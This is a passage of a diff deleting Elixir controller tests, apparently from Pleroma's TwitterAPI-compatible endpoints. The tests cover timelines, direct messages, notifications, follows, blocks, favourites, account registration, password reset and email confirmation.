- since_id = List.last(activities).id
-
- conn =
- conn
- |> get("/api/statuses/public_timeline.json", %{since_id: since_id})
-
- response = json_response(conn, 200)
-
- assert length(response) == 10
- end
-
- test "returns 403 to unauthenticated request when the instance is not public", %{conn: conn} do
- Pleroma.Config.put([:instance, :public], false)
-
- conn
- |> get("/api/statuses/public_timeline.json")
- |> json_response(403)
-
- Pleroma.Config.put([:instance, :public], true)
- end
-
- test "returns 200 to authenticated request when the instance is not public",
- %{conn: conn, user: user} do
- Pleroma.Config.put([:instance, :public], false)
-
- conn
- |> with_credentials(user.nickname, "test")
- |> get("/api/statuses/public_timeline.json")
- |> json_response(200)
-
- Pleroma.Config.put([:instance, :public], true)
- end
-
- test "returns 200 to unauthenticated request when the instance is public", %{conn: conn} do
- conn
- |> get("/api/statuses/public_timeline.json")
- |> json_response(200)
- end
-
- test "returns 200 to authenticated request when the instance is public",
- %{conn: conn, user: user} do
- conn
- |> with_credentials(user.nickname, "test")
- |> get("/api/statuses/public_timeline.json")
- |> json_response(200)
- end
-
- test_with_mock "treats user as unauthenticated if `assigns[:token]` is present but lacks `read` permission",
- Controller,
- [:passthrough],
- [] do
- token = insert(:oauth_token, scopes: ["write"])
-
- build_conn()
- |> put_req_header("authorization", "Bearer #{token.token}")
- |> get("/api/statuses/public_timeline.json")
- |> json_response(200)
-
- assert called(Controller.public_timeline(%{assigns: %{user: nil}}, :_))
- end
- end
-
- describe "GET /statuses/public_and_external_timeline.json" do
- setup [:valid_user]
-
- test "returns 403 to unauthenticated request when the instance is not public", %{conn: conn} do
- Pleroma.Config.put([:instance, :public], false)
-
- conn
- |> get("/api/statuses/public_and_external_timeline.json")
- |> json_response(403)
-
- Pleroma.Config.put([:instance, :public], true)
- end
-
- test "returns 200 to authenticated request when the instance is not public",
- %{conn: conn, user: user} do
- Pleroma.Config.put([:instance, :public], false)
-
- conn
- |> with_credentials(user.nickname, "test")
- |> get("/api/statuses/public_and_external_timeline.json")
- |> json_response(200)
-
- Pleroma.Config.put([:instance, :public], true)
- end
-
- test "returns 200 to unauthenticated request when the instance is public", %{conn: conn} do
- conn
- |> get("/api/statuses/public_and_external_timeline.json")
- |> json_response(200)
- end
-
- test "returns 200 to authenticated request when the instance is public",
- %{conn: conn, user: user} do
- conn
- |> with_credentials(user.nickname, "test")
- |> get("/api/statuses/public_and_external_timeline.json")
- |> json_response(200)
- end
- end
-
- describe "GET /statuses/show/:id.json" do
- test "returns one status", %{conn: conn} do
- user = insert(:user)
- {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey!"})
- actor = User.get_cached_by_ap_id(activity.data["actor"])
-
- conn =
- conn
- |> get("/api/statuses/show/#{activity.id}.json")
-
- response = json_response(conn, 200)
-
- assert response == ActivityView.render("activity.json", %{activity: activity, user: actor})
- end
- end
-
- describe "GET /users/show.json" do
- test "gets user with screen_name", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> get("/api/users/show.json", %{"screen_name" => user.nickname})
-
- response = json_response(conn, 200)
-
- assert response["id"] == user.id
- end
-
- test "gets user with user_id", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> get("/api/users/show.json", %{"user_id" => user.id})
-
- response = json_response(conn, 200)
-
- assert response["id"] == user.id
- end
-
- test "gets a user for a logged in user", %{conn: conn} do
- user = insert(:user)
- logged_in = insert(:user)
-
- {:ok, logged_in, user, _activity} = TwitterAPI.follow(logged_in, %{"user_id" => user.id})
-
- conn =
- conn
- |> with_credentials(logged_in.nickname, "test")
- |> get("/api/users/show.json", %{"user_id" => user.id})
-
- response = json_response(conn, 200)
-
- assert response["following"] == true
- end
- end
-
- describe "GET /statusnet/conversation/:id.json" do
- test "returns the statuses in the conversation", %{conn: conn} do
- {:ok, _user} = UserBuilder.insert()
- {:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"})
- {:ok, _activity_two} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"})
- {:ok, _activity_three} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"})
-
- conn =
- conn
- |> get("/api/statusnet/conversation/#{activity.data["context_id"]}.json")
-
- response = json_response(conn, 200)
-
- assert length(response) == 2
- end
- end
-
- describe "GET /statuses/friends_timeline.json" do
- setup [:valid_user]
-
- test "without valid credentials", %{conn: conn} do
- conn = get(conn, "/api/statuses/friends_timeline.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: current_user} do
- user = insert(:user)
-
- activities =
- ActivityBuilder.insert_list(30, %{"to" => [User.ap_followers(user)]}, %{user: user})
-
- returned_activities =
- ActivityBuilder.insert_list(10, %{"to" => [User.ap_followers(user)]}, %{user: user})
-
- other_user = insert(:user)
- ActivityBuilder.insert_list(10, %{}, %{user: other_user})
- since_id = List.last(activities).id
-
- current_user =
- Changeset.change(current_user, following: [User.ap_followers(user)])
- |> Repo.update!()
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> get("/api/statuses/friends_timeline.json", %{since_id: since_id})
-
- response = json_response(conn, 200)
-
- assert length(response) == 10
-
- assert response ==
- Enum.map(returned_activities, fn activity ->
- ActivityView.render("activity.json", %{
- activity: activity,
- user: User.get_cached_by_ap_id(activity.data["actor"]),
- for: current_user
- })
- end)
- end
- end
-
- describe "GET /statuses/dm_timeline.json" do
- test "it show direct messages", %{conn: conn} do
- user_one = insert(:user)
- user_two = insert(:user)
-
- {:ok, user_two} = User.follow(user_two, user_one)
-
- {:ok, direct} =
- CommonAPI.post(user_one, %{
- "status" => "Hi @#{user_two.nickname}!",
- "visibility" => "direct"
- })
-
- {:ok, direct_two} =
- CommonAPI.post(user_two, %{
- "status" => "Hi @#{user_one.nickname}!",
- "visibility" => "direct"
- })
-
- {:ok, _follower_only} =
- CommonAPI.post(user_one, %{
- "status" => "Hi @#{user_two.nickname}!",
- "visibility" => "private"
- })
-
- # Only direct should be visible here
- res_conn =
- conn
- |> assign(:user, user_two)
- |> get("/api/statuses/dm_timeline.json")
-
- [status, status_two] = json_response(res_conn, 200)
- assert status["id"] == direct_two.id
- assert status_two["id"] == direct.id
- end
-
- test "doesn't include DMs from blocked users", %{conn: conn} do
- blocker = insert(:user)
- blocked = insert(:user)
- user = insert(:user)
- {:ok, blocker} = User.block(blocker, blocked)
-
- {:ok, _blocked_direct} =
- CommonAPI.post(blocked, %{
- "status" => "Hi @#{blocker.nickname}!",
- "visibility" => "direct"
- })
-
- {:ok, direct} =
- CommonAPI.post(user, %{
- "status" => "Hi @#{blocker.nickname}!",
- "visibility" => "direct"
- })
-
- res_conn =
- conn
- |> assign(:user, blocker)
- |> get("/api/statuses/dm_timeline.json")
-
- [status] = json_response(res_conn, 200)
- assert status["id"] == direct.id
- end
- end
-
- describe "GET /statuses/mentions.json" do
- setup [:valid_user]
-
- test "without valid credentials", %{conn: conn} do
- conn = get(conn, "/api/statuses/mentions.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: current_user} do
- {:ok, activity} =
- CommonAPI.post(current_user, %{
- "status" => "why is tenshi eating a corndog so cute?",
- "visibility" => "public"
- })
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> get("/api/statuses/mentions.json")
-
- response = json_response(conn, 200)
-
- assert length(response) == 1
-
- assert Enum.at(response, 0) ==
- ActivityView.render("activity.json", %{
- user: current_user,
- for: current_user,
- activity: activity
- })
- end
-
- test "does not show DMs in mentions timeline", %{conn: conn, user: current_user} do
- {:ok, _activity} =
- CommonAPI.post(current_user, %{
- "status" => "Have you guys ever seen how cute tenshi eating a corndog is?",
- "visibility" => "direct"
- })
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> get("/api/statuses/mentions.json")
-
- response = json_response(conn, 200)
-
- assert Enum.empty?(response)
- end
- end
-
- describe "GET /api/qvitter/statuses/notifications.json" do
- setup [:valid_user]
-
- test "without valid credentials", %{conn: conn} do
- conn = get(conn, "/api/qvitter/statuses/notifications.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: current_user} do
- other_user = insert(:user)
-
- {:ok, _activity} =
- ActivityBuilder.insert(%{"to" => [current_user.ap_id]}, %{user: other_user})
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> get("/api/qvitter/statuses/notifications.json")
-
- response = json_response(conn, 200)
-
- assert length(response) == 1
-
- assert response ==
- NotificationView.render("notification.json", %{
- notifications: Notification.for_user(current_user),
- for: current_user
- })
- end
-
- test "muted user", %{conn: conn, user: current_user} do
- other_user = insert(:user)
-
- {:ok, current_user} = User.mute(current_user, other_user)
-
- {:ok, _activity} =
- ActivityBuilder.insert(%{"to" => [current_user.ap_id]}, %{user: other_user})
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> get("/api/qvitter/statuses/notifications.json")
-
- assert json_response(conn, 200) == []
- end
-
- test "muted user with with_muted parameter", %{conn: conn, user: current_user} do
- other_user = insert(:user)
-
- {:ok, current_user} = User.mute(current_user, other_user)
-
- {:ok, _activity} =
- ActivityBuilder.insert(%{"to" => [current_user.ap_id]}, %{user: other_user})
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> get("/api/qvitter/statuses/notifications.json", %{"with_muted" => "true"})
-
- assert length(json_response(conn, 200)) == 1
- end
- end
-
- describe "POST /api/qvitter/statuses/notifications/read" do
- setup [:valid_user]
-
- test "without valid credentials", %{conn: conn} do
- conn = post(conn, "/api/qvitter/statuses/notifications/read", %{"latest_id" => 1_234_567})
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials, without any params", %{conn: conn, user: current_user} do
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/qvitter/statuses/notifications/read")
-
- assert json_response(conn, 400) == %{
- "error" => "You need to specify latest_id",
- "request" => "/api/qvitter/statuses/notifications/read"
- }
- end
-
- test "with credentials, with params", %{conn: conn, user: current_user} do
- other_user = insert(:user)
-
- {:ok, _activity} =
- ActivityBuilder.insert(%{"to" => [current_user.ap_id]}, %{user: other_user})
-
- response_conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> get("/api/qvitter/statuses/notifications.json")
-
- [notification] = response = json_response(response_conn, 200)
-
- assert length(response) == 1
-
- assert notification["is_seen"] == 0
-
- response_conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/qvitter/statuses/notifications/read", %{"latest_id" => notification["id"]})
-
- [notification] = response = json_response(response_conn, 200)
-
- assert length(response) == 1
-
- assert notification["is_seen"] == 1
- end
- end
-
- describe "GET /statuses/user_timeline.json" do
- setup [:valid_user]
-
- test "without any params", %{conn: conn} do
- conn = get(conn, "/api/statuses/user_timeline.json")
-
- assert json_response(conn, 400) == %{
- "error" => "You need to specify screen_name or user_id",
- "request" => "/api/statuses/user_timeline.json"
- }
- end
-
- test "with user_id", %{conn: conn} do
- user = insert(:user)
- {:ok, activity} = ActivityBuilder.insert(%{"id" => 1}, %{user: user})
-
- conn = get(conn, "/api/statuses/user_timeline.json", %{"user_id" => user.id})
- response = json_response(conn, 200)
- assert length(response) == 1
-
- assert Enum.at(response, 0) ==
- ActivityView.render("activity.json", %{user: user, activity: activity})
- end
-
- test "with screen_name", %{conn: conn} do
- user = insert(:user)
- {:ok, activity} = ActivityBuilder.insert(%{"id" => 1}, %{user: user})
-
- conn = get(conn, "/api/statuses/user_timeline.json", %{"screen_name" => user.nickname})
- response = json_response(conn, 200)
- assert length(response) == 1
-
- assert Enum.at(response, 0) ==
- ActivityView.render("activity.json", %{user: user, activity: activity})
- end
-
- test "with credentials", %{conn: conn, user: current_user} do
- {:ok, activity} = ActivityBuilder.insert(%{"id" => 1}, %{user: current_user})
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> get("/api/statuses/user_timeline.json")
-
- response = json_response(conn, 200)
-
- assert length(response) == 1
-
- assert Enum.at(response, 0) ==
- ActivityView.render("activity.json", %{
- user: current_user,
- for: current_user,
- activity: activity
- })
- end
-
- test "with credentials with user_id", %{conn: conn, user: current_user} do
- user = insert(:user)
- {:ok, activity} = ActivityBuilder.insert(%{"id" => 1}, %{user: user})
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> get("/api/statuses/user_timeline.json", %{"user_id" => user.id})
-
- response = json_response(conn, 200)
-
- assert length(response) == 1
-
- assert Enum.at(response, 0) ==
- ActivityView.render("activity.json", %{user: user, activity: activity})
- end
-
- test "with credentials screen_name", %{conn: conn, user: current_user} do
- user = insert(:user)
- {:ok, activity} = ActivityBuilder.insert(%{"id" => 1}, %{user: user})
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> get("/api/statuses/user_timeline.json", %{"screen_name" => user.nickname})
-
- response = json_response(conn, 200)
-
- assert length(response) == 1
-
- assert Enum.at(response, 0) ==
- ActivityView.render("activity.json", %{user: user, activity: activity})
- end
-
- test "with credentials with user_id, excluding RTs", %{conn: conn, user: current_user} do
- user = insert(:user)
- {:ok, activity} = ActivityBuilder.insert(%{"id" => 1, "type" => "Create"}, %{user: user})
- {:ok, _} = ActivityBuilder.insert(%{"id" => 2, "type" => "Announce"}, %{user: user})
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> get("/api/statuses/user_timeline.json", %{
- "user_id" => user.id,
- "include_rts" => "false"
- })
-
- response = json_response(conn, 200)
-
- assert length(response) == 1
-
- assert Enum.at(response, 0) ==
- ActivityView.render("activity.json", %{user: user, activity: activity})
-
- conn =
- conn
- |> get("/api/statuses/user_timeline.json", %{"user_id" => user.id, "include_rts" => "0"})
-
- response = json_response(conn, 200)
-
- assert length(response) == 1
-
- assert Enum.at(response, 0) ==
- ActivityView.render("activity.json", %{user: user, activity: activity})
- end
- end
-
- describe "POST /friendships/create.json" do
- setup [:valid_user]
-
- test "without valid credentials", %{conn: conn} do
- conn = post(conn, "/api/friendships/create.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: current_user} do
- followed = insert(:user)
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/friendships/create.json", %{user_id: followed.id})
-
- current_user = User.get_cached_by_id(current_user.id)
- assert User.ap_followers(followed) in current_user.following
-
- assert json_response(conn, 200) ==
- UserView.render("show.json", %{user: followed, for: current_user})
- end
-
- test "for restricted account", %{conn: conn, user: current_user} do
- followed = insert(:user, info: %User.Info{locked: true})
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/friendships/create.json", %{user_id: followed.id})
-
- current_user = User.get_cached_by_id(current_user.id)
- followed = User.get_cached_by_id(followed.id)
-
- refute User.ap_followers(followed) in current_user.following
-
- assert json_response(conn, 200) ==
- UserView.render("show.json", %{user: followed, for: current_user})
- end
- end
-
- describe "POST /friendships/destroy.json" do
- setup [:valid_user]
-
- test "without valid credentials", %{conn: conn} do
- conn = post(conn, "/api/friendships/destroy.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: current_user} do
- followed = insert(:user)
-
- {:ok, current_user} = User.follow(current_user, followed)
- assert User.ap_followers(followed) in current_user.following
- ActivityPub.follow(current_user, followed)
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/friendships/destroy.json", %{user_id: followed.id})
-
- current_user = User.get_cached_by_id(current_user.id)
- assert current_user.following == [current_user.ap_id]
-
- assert json_response(conn, 200) ==
- UserView.render("show.json", %{user: followed, for: current_user})
- end
- end
-
- describe "POST /blocks/create.json" do
- setup [:valid_user]
-
- test "without valid credentials", %{conn: conn} do
- conn = post(conn, "/api/blocks/create.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: current_user} do
- blocked = insert(:user)
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/blocks/create.json", %{user_id: blocked.id})
-
- current_user = User.get_cached_by_id(current_user.id)
- assert User.blocks?(current_user, blocked)
-
- assert json_response(conn, 200) ==
- UserView.render("show.json", %{user: blocked, for: current_user})
- end
- end
-
- describe "POST /blocks/destroy.json" do
- setup [:valid_user]
-
- test "without valid credentials", %{conn: conn} do
- conn = post(conn, "/api/blocks/destroy.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: current_user} do
- blocked = insert(:user)
-
- {:ok, current_user, blocked} = TwitterAPI.block(current_user, %{"user_id" => blocked.id})
- assert User.blocks?(current_user, blocked)
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/blocks/destroy.json", %{user_id: blocked.id})
-
- current_user = User.get_cached_by_id(current_user.id)
- assert current_user.info.blocks == []
-
- assert json_response(conn, 200) ==
- UserView.render("show.json", %{user: blocked, for: current_user})
- end
- end
-
- describe "GET /help/test.json" do
- test "returns \"ok\"", %{conn: conn} do
- conn = get(conn, "/api/help/test.json")
- assert json_response(conn, 200) == "ok"
- end
- end
-
- describe "POST /api/qvitter/update_avatar.json" do
- setup [:valid_user]
-
- test "without valid credentials", %{conn: conn} do
- conn = post(conn, "/api/qvitter/update_avatar.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: current_user} do
- avatar_image = File.read!("test/fixtures/avatar_data_uri")
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/qvitter/update_avatar.json", %{img: avatar_image})
-
- current_user = User.get_cached_by_id(current_user.id)
- assert is_map(current_user.avatar)
-
- assert json_response(conn, 200) ==
- UserView.render("show.json", %{user: current_user, for: current_user})
- end
-
- test "user avatar can be reset", %{conn: conn, user: current_user} do
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/qvitter/update_avatar.json", %{img: ""})
-
- current_user = User.get_cached_by_id(current_user.id)
- assert current_user.avatar == nil
-
- assert json_response(conn, 200) ==
- UserView.render("show.json", %{user: current_user, for: current_user})
- end
- end
-
- describe "GET /api/qvitter/mutes.json" do
- setup [:valid_user]
-
- test "unimplemented mutes without valid credentials", %{conn: conn} do
- conn = get(conn, "/api/qvitter/mutes.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "unimplemented mutes with credentials", %{conn: conn, user: current_user} do
- response =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> get("/api/qvitter/mutes.json")
- |> json_response(200)
-
- assert [] = response
- end
- end
-
- describe "POST /api/favorites/create/:id" do
- setup [:valid_user]
-
- test "without valid credentials", %{conn: conn} do
- note_activity = insert(:note_activity)
- conn = post(conn, "/api/favorites/create/#{note_activity.id}.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: current_user} do
- note_activity = insert(:note_activity)
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/favorites/create/#{note_activity.id}.json")
-
- assert json_response(conn, 200)
- end
-
- test "with credentials, invalid param", %{conn: conn, user: current_user} do
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/favorites/create/wrong.json")
-
- assert json_response(conn, 400)
- end
-
- test "with credentials, invalid activity", %{conn: conn, user: current_user} do
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/favorites/create/1.json")
-
- assert json_response(conn, 400)
- end
- end
-
- describe "POST /api/favorites/destroy/:id" do
- setup [:valid_user]
-
- test "without valid credentials", %{conn: conn} do
- note_activity = insert(:note_activity)
- conn = post(conn, "/api/favorites/destroy/#{note_activity.id}.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: current_user} do
- note_activity = insert(:note_activity)
- object = Object.normalize(note_activity)
- ActivityPub.like(current_user, object)
-
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/favorites/destroy/#{note_activity.id}.json")
-
- assert json_response(conn, 200)
- end
- end
-
- describe "POST /api/statuses/retweet/:id" do
- setup [:valid_user]
-
- test "without valid credentials", %{conn: conn} do
- note_activity = insert(:note_activity)
- conn = post(conn, "/api/statuses/retweet/#{note_activity.id}.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: current_user} do
- note_activity = insert(:note_activity)
-
- request_path = "/api/statuses/retweet/#{note_activity.id}.json"
-
- response =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post(request_path)
-
- activity = Activity.get_by_id(note_activity.id)
- activity_user = User.get_cached_by_ap_id(note_activity.data["actor"])
-
- assert json_response(response, 200) ==
- ActivityView.render("activity.json", %{
- user: activity_user,
- for: current_user,
- activity: activity
- })
- end
- end
-
- describe "POST /api/statuses/unretweet/:id" do
- setup [:valid_user]
-
- test "without valid credentials", %{conn: conn} do
- note_activity = insert(:note_activity)
- conn = post(conn, "/api/statuses/unretweet/#{note_activity.id}.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: current_user} do
- note_activity = insert(:note_activity)
-
- request_path = "/api/statuses/retweet/#{note_activity.id}.json"
-
- _response =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post(request_path)
-
- request_path = String.replace(request_path, "retweet", "unretweet")
-
- response =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post(request_path)
-
- activity = Activity.get_by_id(note_activity.id)
- activity_user = User.get_cached_by_ap_id(note_activity.data["actor"])
-
- assert json_response(response, 200) ==
- ActivityView.render("activity.json", %{
- user: activity_user,
- for: current_user,
- activity: activity
- })
- end
- end
-
- describe "POST /api/account/register" do
- test "it creates a new user", %{conn: conn} do
- data = %{
- "nickname" => "lain",
- "email" => "lain@wired.jp",
- "fullname" => "lain iwakura",
- "bio" => "close the world.",
- "password" => "bear",
- "confirm" => "bear"
- }
-
- conn =
- conn
- |> post("/api/account/register", data)
-
- user = json_response(conn, 200)
-
- fetched_user = User.get_cached_by_nickname("lain")
- assert user == UserView.render("show.json", %{user: fetched_user})
- end
-
- test "it returns errors on a problem", %{conn: conn} do
- data = %{
- "email" => "lain@wired.jp",
- "fullname" => "lain iwakura",
- "bio" => "close the world.",
- "password" => "bear",
- "confirm" => "bear"
- }
-
- conn =
- conn
- |> post("/api/account/register", data)
-
- errors = json_response(conn, 400)
-
- assert is_binary(errors["error"])
- end
- end
-
- describe "POST /api/account/password_reset, with valid parameters" do
- setup %{conn: conn} do
- user = insert(:user)
- conn = post(conn, "/api/account/password_reset?email=#{user.email}")
- %{conn: conn, user: user}
- end
-
- test "it returns 204", %{conn: conn} do
- assert json_response(conn, :no_content)
- end
-
- test "it creates a PasswordResetToken record for user", %{user: user} do
- token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id)
- assert token_record
- end
-
- test "it sends an email to user", %{user: user} do
- token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id)
-
- email = Pleroma.Emails.UserEmail.password_reset_email(user, token_record.token)
- notify_email = Pleroma.Config.get([:instance, :notify_email])
- instance_name = Pleroma.Config.get([:instance, :name])
-
- assert_email_sent(
- from: {instance_name, notify_email},
- to: {user.name, user.email},
- html_body: email.html_body
- )
- end
- end
-
- describe "POST /api/account/password_reset, with invalid parameters" do
- setup [:valid_user]
-
- test "it returns 404 when user is not found", %{conn: conn, user: user} do
- conn = post(conn, "/api/account/password_reset?email=nonexisting_#{user.email}")
- assert conn.status == 404
- assert conn.resp_body == ""
- end
-
- test "it returns 400 when user is not local", %{conn: conn, user: user} do
- {:ok, user} = Repo.update(Changeset.change(user, local: false))
- conn = post(conn, "/api/account/password_reset?email=#{user.email}")
- assert conn.status == 400
- assert conn.resp_body == ""
- end
- end
-
- describe "GET /api/account/confirm_email/:id/:token" do
- setup do
- user = insert(:user)
- info_change = User.Info.confirmation_changeset(user.info, need_confirmation: true)
-
- {:ok, user} =
- user
- |> Changeset.change()
- |> Changeset.put_embed(:info, info_change)
- |> Repo.update()
-
- assert user.info.confirmation_pending
-
- [user: user]
- end
-
- test "it redirects to root url", %{conn: conn, user: user} do
- conn = get(conn, "/api/account/confirm_email/#{user.id}/#{user.info.confirmation_token}")
-
- assert 302 == conn.status
- end
-
- test "it confirms the user account", %{conn: conn, user: user} do
- get(conn, "/api/account/confirm_email/#{user.id}/#{user.info.confirmation_token}")
-
- user = User.get_cached_by_id(user.id)
-
- refute user.info.confirmation_pending
- refute user.info.confirmation_token
- end
-
- test "it returns 500 if user cannot be found by id", %{conn: conn, user: user} do
- conn = get(conn, "/api/account/confirm_email/0/#{user.info.confirmation_token}")
-
- assert 500 == conn.status
- end
-
- test "it returns 500 if token is invalid", %{conn: conn, user: user} do
- conn = get(conn, "/api/account/confirm_email/#{user.id}/wrong_token")
-
- assert 500 == conn.status
- end
- end
-
- describe "POST /api/account/resend_confirmation_email" do
- setup do
- setting = Pleroma.Config.get([:instance, :account_activation_required])
-
- unless setting do
- Pleroma.Config.put([:instance, :account_activation_required], true)
- on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end)
- end
-
- user = insert(:user)
- info_change = User.Info.confirmation_changeset(user.info, need_confirmation: true)
-
- {:ok, user} =
- user
- |> Changeset.change()
- |> Changeset.put_embed(:info, info_change)
- |> Repo.update()
-
- assert user.info.confirmation_pending
-
- [user: user]
- end
-
- test "it returns 204 No Content", %{conn: conn, user: user} do
- conn
- |> assign(:user, user)
- |> post("/api/account/resend_confirmation_email?email=#{user.email}")
- |> json_response(:no_content)
- end
-
- test "it sends confirmation email", %{conn: conn, user: user} do
- conn
- |> assign(:user, user)
- |> post("/api/account/resend_confirmation_email?email=#{user.email}")
-
- email = Pleroma.Emails.UserEmail.account_confirmation_email(user)
- notify_email = Pleroma.Config.get([:instance, :notify_email])
- instance_name = Pleroma.Config.get([:instance, :name])
-
- assert_email_sent(
- from: {instance_name, notify_email},
- to: {user.name, user.email},
- html_body: email.html_body
- )
- end
- end
-
- describe "GET /api/externalprofile/show" do
- test "it returns the user", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/externalprofile/show", %{profileurl: other_user.ap_id})
-
- assert json_response(conn, 200) == UserView.render("show.json", %{user: other_user})
- end
- end
-
- describe "GET /api/statuses/followers" do
- test "it returns a user's followers", %{conn: conn} do
- user = insert(:user)
- follower_one = insert(:user)
- follower_two = insert(:user)
- _not_follower = insert(:user)
-
- {:ok, follower_one} = User.follow(follower_one, user)
- {:ok, follower_two} = User.follow(follower_two, user)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/statuses/followers")
-
- expected = UserView.render("index.json", %{users: [follower_one, follower_two], for: user})
- result = json_response(conn, 200)
- assert Enum.sort(expected) == Enum.sort(result)
- end
-
- test "it returns 20 followers per page", %{conn: conn} do
- user = insert(:user)
- followers = insert_list(21, :user)
-
- Enum.each(followers, fn follower ->
- User.follow(follower, user)
- end)
-
- res_conn =
- conn
- |> assign(:user, user)
- |> get("/api/statuses/followers")
-
- result = json_response(res_conn, 200)
- assert length(result) == 20
-
- res_conn =
- conn
- |> assign(:user, user)
- |> get("/api/statuses/followers?page=2")
-
- result = json_response(res_conn, 200)
- assert length(result) == 1
- end
-
- test "it returns a given user's followers with user_id", %{conn: conn} do
- user = insert(:user)
- follower_one = insert(:user)
- follower_two = insert(:user)
- not_follower = insert(:user)
-
- {:ok, follower_one} = User.follow(follower_one, user)
- {:ok, follower_two} = User.follow(follower_two, user)
-
- conn =
- conn
- |> assign(:user, not_follower)
- |> get("/api/statuses/followers", %{"user_id" => user.id})
-
- assert MapSet.equal?(
- MapSet.new(json_response(conn, 200)),
- MapSet.new(
- UserView.render("index.json", %{
- users: [follower_one, follower_two],
- for: not_follower
- })
- )
- )
- end
-
- test "it returns empty when hide_followers is set to true", %{conn: conn} do
- user = insert(:user, %{info: %{hide_followers: true}})
- follower_one = insert(:user)
- follower_two = insert(:user)
- not_follower = insert(:user)
-
- {:ok, _follower_one} = User.follow(follower_one, user)
- {:ok, _follower_two} = User.follow(follower_two, user)
-
- response =
- conn
- |> assign(:user, not_follower)
- |> get("/api/statuses/followers", %{"user_id" => user.id})
- |> json_response(200)
-
- assert [] == response
- end
-
- test "it returns the followers when hide_followers is set to true if requested by the user themselves",
- %{
- conn: conn
- } do
- user = insert(:user, %{info: %{hide_followers: true}})
- follower_one = insert(:user)
- follower_two = insert(:user)
- _not_follower = insert(:user)
-
- {:ok, _follower_one} = User.follow(follower_one, user)
- {:ok, _follower_two} = User.follow(follower_two, user)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/statuses/followers", %{"user_id" => user.id})
-
- refute [] == json_response(conn, 200)
- end
- end
-
- describe "GET /api/statuses/blocks" do
- test "it returns the list of users blocked by requester", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, user} = User.block(user, other_user)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/statuses/blocks")
-
- expected = UserView.render("index.json", %{users: [other_user], for: user})
- result = json_response(conn, 200)
- assert Enum.sort(expected) == Enum.sort(result)
- end
- end
-
- describe "GET /api/statuses/friends" do
- test "it returns the logged in user's friends", %{conn: conn} do
- user = insert(:user)
- followed_one = insert(:user)
- followed_two = insert(:user)
- _not_followed = insert(:user)
-
- {:ok, user} = User.follow(user, followed_one)
- {:ok, user} = User.follow(user, followed_two)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/statuses/friends")
-
- expected = UserView.render("index.json", %{users: [followed_one, followed_two], for: user})
- result = json_response(conn, 200)
